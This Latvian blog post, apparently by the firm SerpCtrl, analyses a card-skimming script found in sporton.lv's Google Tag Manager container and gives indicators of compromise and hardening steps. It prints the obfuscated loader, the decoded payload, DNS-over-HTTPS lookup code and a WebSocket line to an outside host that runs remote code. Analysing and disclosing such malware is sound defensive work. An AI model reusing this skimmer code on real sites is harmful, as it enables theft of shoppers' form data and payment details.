Sporton.lv datu noplūde caur GTM: kā tiek zagti Tavi dati | SerpCtrl
2026-05-29·8min
Kā Sporton.lv nolaidība ļauj zagt Tavus datus izmantojot Google Tag Manager
GTMexploitscyber securitycase study
Lietas būtība: Kas tieši notiek un kāpēc tas ir tik bīstami?
Pirms nirstam dziļāk koda labirintos, ir svarīgi saprast paša uzbrukuma mehānismu.
Google Tag Manager ir oficiāls Google produkts un ērts rīks, kas mājaslapu īpašniekiem ļauj bez programmētāju palīdzības pievienot dažādus izsekošanas skriptus (piemēram, Google Analytics vai Facebook Pixel).
Kā tieši notiek uzbrukums?
Ļaundari ir pamanījušies iegūt piekļuvi sporton.lv GTM kontam — iespējams, nozogot paroli vai izmantojot kāda bijušā darbinieka laikus neatņemto piekļuvi — un ievietojuši tajā slēptu kodu. Kad Tu atver sporton.lv, šis kods klusām ielādējas tavā ierīcē kopā ar pārējo lapas saturu. Tajā brīdī tas sāk “noklausīties” pilnīgi visu, ko Tu lapā raksti. Tiklīdz ievadi savu vārdu, paroli vai kredītkartes datus, kods tos zibenīgi un nemanāmi pārsūta uzbrucējiem.
Tā kā visa šī datu zagšana norisinās tieši klienta pārlūkprogrammā (client-side), mājaslapas servera aizsardzības sistēmas to vispār nefiksē. Iedomājies, ka kāds būtu ielicis noklausīšanās blakti tieši klienta telefonā, nevis mēģinājis uzlauzt uzņēmuma centrāli.
Īsais kopsavilkums (TL;DR)
Aktīvais drauds: GTM konteiners GTM-TN9CMVBQ satur pielāgotu Custom HTML tagu ar XOR-šifrētu un apgrieztu payload (darba kodu), kas joprojām strādā un ir aktīvs.
Kā kods izpildās: Šis pats sevi atšifrē, izmantojot new Function(), un izveido savienojumu ar adresi wss://adsbridge.fun/ws/clickstat.
payload
WebSocket
Mākpilna slēpšanās: C2 (Command & Control) servera vārds tiek atrisināts caur DoH jeb DNS-over-HTTPS (Cloudflare DoH), tādējādi eleganti paslēpjot trafiku no standarta tīkla monitoringa rīkiem.
Datu zādzība reāllaikā: Visi formās ievadītie dati tiek eksfiltrēti (nozagti) tajā pašā mirklī, kad tos ieraksti.
Koda izdzīvošanas spējas (Persistence): Lai nākamreiz varētu pieslēgties serverim bez jauna DNS pieprasījuma, sesija tiek saglabāta pārlūka atmiņā kā localStorage.__ga_wsid.
Ko darīt patērētājiem: Ja pēdējo mēnešu laikā esi atstājis savus datus sporton.lv, uzskati tos par kompromitētiem. Nekavējoties nomaini paroles, ja tās izmanto arī citur, un rūpīgi seko līdzi savas bankas kartes izrakstiem.
Kāpēc tieši GTM kļuva par uzbrukuma mērķi?
GTM skripti ielādējas tieši no uzticamā googletagmanager.com domēna. Ļaunprātības pamatā ir GTM sniegtā iespēja caur Custom HTML tagiem injicēt jebkādu patvaļīgu JavaScript kodu. Šis kods izpildās ar Tavas lapas tiesībām, iegūstot pilnīgu piekļuvi visam — sīkdatnēm (cookies), pārlūka atmiņai (localStorage), ievades formām, tīkla pieprasījumiem un pašai lapas struktūrai (DOM).
Situāciju vēl bīstamāku padara šādi faktori:
Vāja piekļuves kontrole: GTM parasti ir mārketinga komandas lauciņš, kur drošības speciālisti ieskatās reti.
Aizmirstās “atslēgas”: Aģentūru darbinieki maina darbu, bet uzņēmumi aizmirst noņemt viņu piekļuves tiesības.
Nepilnīgs audits: GTM nevar lepoties ar labu, iebūvētu audita taku (native audit trail), kas skaidri parādītu, kurš un kad veica izmaiņas.
Nekādas iepriekšējas pārbaudes: Pirms Custom HTML koda publicēšanas nenotiek nekāda drošības pārbaude — atliek vienīgi nospiest "Publish", un kods momentā kļūst aktīvs.
Latvijas e-komercijā šis ir kļuvis par bīstamu, neaizsargātu perimetru.
Tehniskā anatomija: Kā tas darbojas soli pa solim
1. stadija – Obfuskācija jeb koda maskēšanās
Pētot ļaunprātīgo Custom HTML tagu, paveras šāds koda fragments (šeit tas ir saīsināts):
JavaScript
(function(c, d) { !function(a) { a = function(e, b) { return e.split("").map(function(f, g) { return String.fromCharCode(f.charCodeAt(0) ^ b.charCodeAt(g % b.length)) }).join("") }(a.split("").reverse().join(""), d); (new Function(a))() }(c)})("<encrypted_payload>", "gtag");
Šajā nelielajā funkcijā uzbrucēji ir iestrādājuši trīs maskēšanās (obfuskācijas) slāņus:
a.split("").reverse().join("") – pats payload teksta kods ir apgriezts spoguļattēlā.
charCodeAt(0) ^ b.charCodeAt(...) – katrs simbols ir smalki nošifrēts ar XOR algoritmu, kā atslēgu izmantojot vārdu "gtag".
new Function(a)() – atšifrētais teksts beigās tiek reāli palaists kā izpildāms kods.
Šī ir klasiska pēdu slēpšanas (anti-forensics) tehnika. Ja sistēmā ieskatās nesagatavots lietotājs, viņš redz tikai nesaprotamu burtu jūkli un nevainīgu atslēgvārdu "gtag", kas liek domāt par pavisam parastu Google Analytics gabaliņu.
2. stadija – Atšifrētais Payload (darba kods)
Tiklīdz kods sevi atšifrē, paveras tā patiesā, ļaunprātīgā loģika:
JavaScript
!(function(g = 'Google' + 'Tag' + 'Manager') { const decode = (s, ls = false) => { let digits = s.match(/#([^#]+)#/)?.[1]?.split(',').map(Number); if (!digits) return; ls ? localStorage.setItem('__ga_wsid', '#' + digits.join(',') + '#') : false; let [key, ...encoded] = digits; window.ws = new WebSocket( 'wss://' + String.fromCharCode(...encoded.map(byte => byte ^ key)) + '/ws/clickstat' ); window.ws.addEventListener('message', event => { new Function(atob(event.data))(); }); }; const runWs = () => { let encodedUrl = '#59,39,39,35,...,17#' .match(/#([^#]+)#/)?.[1]?.split(',').map(Number); if (!encodedUrl) return; let xorKey = 83; fetch(String.fromCharCode(...encodedUrl.map(b => b ^ xorKey))) .then(r => r.text()) .then(data => { decode(data, true); }); }; localStorage.getItem('__gf_form_data') ? false : localStorage.getItem('__ga_wsid') ? decode(localStorage.getItem('__ga_wsid')) : runWs();})();
Apskatīsim loģikas zaru koda pašās beigās:
Ja iekš localStorage jau eksistē __gf_form_data > Kods vairs nedara neko, jo dati jau atrodas uzbrucēja rokās.
Ja tur atrodas __ga_wsid > Kods pa tiešo atver WebSocket savienojumu ar jau saglabāto serveri.
Visiem citiem gadījumiem > Tiek izsaukta funkcija runWs(), kas atrisina uzbrucēja C2 servera adresi caur DNS-over-HTTPS.
Pievērs uzmanību – mainīgais ir asprātīgi nosaukts par g = 'Google' + 'Tag' + 'Manager'. Tas ir vēl viens kamuflāžas slānis, lai ar acs kaktiņu iemests skatiens neradītu aizdomas.
3. stadija – C2 servera atrašana caur DNS-over-HTTPS (DoH)
Lielākā daļa client-side vīrusu parasti "cieti iekodē" (hardcode) sava Command & Control (C2) servera adresi tieši skriptā. Tādus ir ļoti viegli pamanīt un ātri nobloķēt. Taču šis skripts ir daudz viltīgāks — tas pieprasa adresi no Cloudflare DNS-over-HTTPS pakalpojuma:
HTTP
GET https://cloudflare-dns.com/dns-query?dns=AAABAAABAAAAAAAACmNsaWNrZ2F0b3IEaW5mbwAAEAABAccept: application/dns-message
Atkodējot šo base64url pieprasījumu, mēs iegūstam TXT pieprasījumu domēnam clickgator.info.
Pirmais cipars (157) ir XOR atslēga. Pārējos atšifrējot ar šo atslēgu:
$252 \oplus 157 = 97$ > 'a'
$249 \oplus 157 = 100$ > 'd'
$238 \oplus 157 = 115$ > 's'
...
Rezultāts: adsbridge.fun
Kāpēc šī pieeja ir ģeniāla (un ļoti bīstama):
Aizdomas neradošs mērķis (Endpoint): cloudflare-dns.com ir pilnīgi uzticama adrese. Tīkla monitori un ugunsmūri to neliek aizdomās turamo sarakstā. Trafiks izskatās 100% leģitīms.
TTL (dzīvildze) ir tikai 60 sekundes: Tas ļauj uzbrucējam mainīt sava C2 servera domēnu burtiski jebkurā mirklī, pat nepieskaroties pašam GTM kodam.
Vēlreiz slēpts URL: Pat fetch URL ir cītīgi nošifrēts ar XOR atslēgu 83. Pat ja Tu mēģinātu GTM konteinerā meklēt atsauces uz Cloudflare, Tu tur neatrastu neko.
4. stadija – WebSocket C2 saziņa
JavaScript
window.ws = new WebSocket('wss://adsbridge.fun/ws/clickstat');window.ws.addEventListener('message', event => { new Function(atob(event.data))();});
Šajā posmā serveris sāk sūtīt base64 formātā iekodētus JavaScript failus, ko klients (Tavs pārlūks) atkodē un burtiski uzreiz palaiž. Tas piešķir uzbrucējam pilnīgu koda izpildi no attāluma (Remote Code Execution).
Lūk, tikai daži piemēri, ko uzbrucējs šajā brīdī var brīvi darīt:
Pārtvert pilnīgi visus Gravity Forms (vai citu formu) iesniegtos datus un izsūknēt tos ārā.
Nemanāmi nomainīt pirkuma apmaksas formas saiti uz savu, viltoto pikšķerēšanas (phishing) lapu.
Pārvirzīt lietotāju uz viltus norēķinu ekrānu, kas izskatās mats matā kā oriģinālais.
Nozagt Tavu lietotāja sesijas marķierus (session tokens).
Tas viss notiek ar Tavas mājaslapas pilnām tiesībām un derīgu SSL sertifikātu URL joslā. Pārlūkprogramma neredz nekādus drošības draudus.
5. stadija – Iesakņošanās un izdzīvošana (Persistence)
JavaScript
ls ? localStorage.setItem('__ga_wsid', '#' + digits.join(',') + '#') : false;
Pēc pirmās veiksmīgās saziņas C2 domēna nosaukums tiek iecementēts paša lietotāja pārlūka atmiņā — localStorage.__ga_wsid. Turpmākajos apmeklējumos skripts vienkārši izlaiž DNS pieprasījuma soli un pieslēdzas serverim pa tiešo.
Tas nozīmē skarbu realitāti: pat tad, ja Tu beidzot iztīrīsi savu GTM konteineru no šī koda, tie apmeklētāji, kuriem atslēga būs palikusi pārlūkprogrammā, joprojām turpinās sūtīt datus uzbrucējam — līdz brīdim, kad viņi paši iztīrīs sava pārlūka kešatmiņu (cache). Uzbrukuma izdzīvošanas spēja nemaz nav uz Tava servera — tā dzīvo Tavu klientu datoros.
Uzbrukuma pēdas: Kompromitēšanas indikatori (IOC)
Ja šobrīd pārbaudi savu GTM konfigurāciju vai analizē tīkla trafiku, lūk, konkrētas pazīmes, kurām jāpievērš uzmanība:
Tips: GTM konteiners (sporton.lv gadījums)
Vērtība: GTM-TN9CMVBQ
Tips: C2 Lookup domēns
Vērtība: clickgator.info
Tips: C2 DNS Metode
Vērtība: DNS TXT caur cloudflare-dns.com/dns-query (RFC 8484 DoH)
Lai gan konkrēto ielaušanās ceļu katrā atsevišķā gadījumā noteikt ir grūti, praksē parasti dominē trīs scenāriji:
Bijušais aģentūras darbinieks: Reklāmas aģentūrai ir dota piekļuve Tavam GTM. Darbinieks no aģentūras aiziet, taču viņa Google piekļuve paliek aktīva. Pēc kāda laika šo aizmirsto kontu izmanto ļaunprātīgiem mērķiem.
Mārketinga vadītāja konta uzlaušana: Mērķtiecīgs pikšķerēšanas (phishing) uzbrukums, kurā izdodas apiet Google autorizāciju un pārņemt kontroli pār kontu ar pilnām GTM piekļuvēm.
Pati aģentūra vai biznesa saimnieks: Reti, bet pastāv gadījumi, kad uzbrukums nāk tieši no neuzticama vai kompromitēta sadarbības partnera vai pašas organizācijas.
Visus šos riskus var novērst tikai ar vienu paņēmienu — stingru un regulāru piekļuvju auditu.
Rīcības plāns: Kas Tev būtu jāizdara jau šovakar
Ver vaļā savu GTM kontu. Tūlīt pat. Tas aizņems burtiski 10 minūtes, bet var pasargāt Tavu biznesu no katastrofas.
Kritiski pārbaudi piekļuves sarakstu:Dodies uz Admin > User Management. Pārliecinies par katru sarakstā esošo personu un viņu lomām. Ja redzi e-pasta adreses, kas Tev šķiet nepazīstamas, vai arī tur joprojām "karājas" bijušie sadarbības partneri — dzēs tos ārā nekavējoties un bez žēlastības.
Izpēti publicēšanas vēsturi (audits):Atver sadaļu Versions. Rūpīgi pārskati pēdējās 10–20 versijas, lai saprastu, kurš tieši, kad un kādas izmaiņas ir veicis.
Obligāta 2FA (Divpakāpju autentifikācija) visiem:Šim jābūt bezierunu noteikumam katram, kam ir kaut mazākā piekļuve. Iestati arī e-pasta paziņojumus par katru jaunu koda publikāciju: Admin > Container Notifications un Admin > Account Settings > Require 2-step login verification for certain operations.
Plašāka bilde: Latvijas E-komercija un skarbais GDPR
sporton.lv noteikti nav vienīgais upuris — tas ir vienkārši pirmais, kura gadījums publiski un skaļi izgaismots. Šis ir Latvijas e-komercijas slēptais perimetrs, par kuru ir pieņemts klusēt.
Skatoties no GDPR (Datu aizsardzības regulas) skatpunkta, šis nav vienkārši tehnisks brāķis — tas ir smags personu datu apstrādes incidents. Ja Tavu iesniegumu formu datus patlaban zog, Tev ir precīzi 72 stundas laika, lai par to oficiāli paziņotu Datu valsts inspekcijai. Bet te slēpjas lielākā ironija — lai kaut ko paziņotu, tas vispirms ir jāatklāj. Reālā situācija ir tāda, ka lielākā daļa Latvijas e-komercijas operatoru pat nezina, kurā virzienā skatīties, lai šādu uzbrukumu fiksētu.
Mūsu, SerpCtrl, redzējums:
Mēs ikdienā veicam GTM konteineru dziļo statisko analīzi. Jā, tas nav tradicionālais SEO darbs klasiskajā izpratnē. Taču šis ir SEO 2026. gada gaismā — kur drošība, tehniskā perfekcija un EEAT (Pieredze, Kompetence, Autoritativitāte, Uzticamība) signāli ir tas pamats, kas ļauj saglabāt un audzēt organisko klātbūtni meklētājprogrammās. Google jau tagad nesaudzē lapas, kurās uzziet šādus skimmerus. Bet atceries — Tavi klienti Tevi sodīs vēl daudz ātrāk un sāpīgāk.
Bezmaksas GTM audits: Ja māc šaubas, atsūti mums savu GTM konteinera ID. Mēs veiksim ātru auditu bez garas papīru smērēšanas un līgumiem.
Tehniskais izmeklējums: Artūrs Vīgants. Sporton.lv komanda ignorēja visus mēģinājumus sazināties pa e-pastu un telefonu. Šī raksta publicēšanas brīdī GTM konteiners aizvien ir aktīvs un ļaunprātīgs.
/// JAUNUMI
Saņem praktiskas idejas
digitālai izaugsmei
Pievienojies mūsu jaunumu sarakstam, lai saņemtu īsus, lietderīgus ieskatus par web izstrādi, SEO un digitālo veiktspēju.